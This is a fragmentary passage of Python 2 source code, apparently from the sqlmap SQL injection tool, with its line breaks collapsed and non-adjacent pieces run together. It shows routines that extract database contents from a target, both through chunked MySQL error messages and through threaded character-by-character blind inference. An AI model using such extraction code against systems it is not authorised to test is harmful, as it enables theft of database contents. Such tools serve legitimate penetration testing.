threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: output = getUnicode(output, kb.pageEncoding) if isinstance(output, basestring): output = htmlunescape(output).replace("<br>", "\n") if Backend.getIdentifiedDbms() == DBMS.MYSQL: if offset == 1: retVal = output else: retVal += output if output else '' if not (output and len(output) == MYSQL_ERROR_CHUNK_LENGTH): break else: offset += MYSQL_ERROR_CHUNK_LENGTH else: retVal = output break retVal = __errorReplaceChars(retVal) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(retVal))) return retVal
def downloadThread(): try: while kb.threadContinue: idxlock.acquire() if index[0] >= length: idxlock.release() return index[0] += 1 curidx = index[0] idxlock.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break valuelock.acquire() value[curidx - 1] = val currentValue = list(value) valuelock.release() if kb.threadContinue: if showEta: etaProgressUpdate(time.time() - charStart, index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = 0 for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta: output += '_' * (min( length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%s)' % ( count, length, round( 100.0 * count / length), '%') output += status if count != length else " " * len( status) iolock.acquire() dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) iolock.release() if not kb.threadContinue: if int(threading.currentThread().getName() ) == numThreads - 1: partialValue = unicode() for v in value: if v is None: break elif isinstance(v, basestring): partialValue += v if len(partialValue) > 0: dataToSessionFile(replaceNewlineTabs(partialValue)) except (sqlmapConnectionException, sqlmapValueException), errMsg: print kb.threadException = True logger.error("thread %d: %s" % (numThread + 1, errMsg))
if None in value: for v in value: if isinstance(v, basestring) and v is not None: partialValue += v if partialValue: finalValue = partialValue infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if isinstance(finalValue, basestring) and len(finalValue) > 0: dataToSessionFile(replaceNewlineTabs(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg: dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment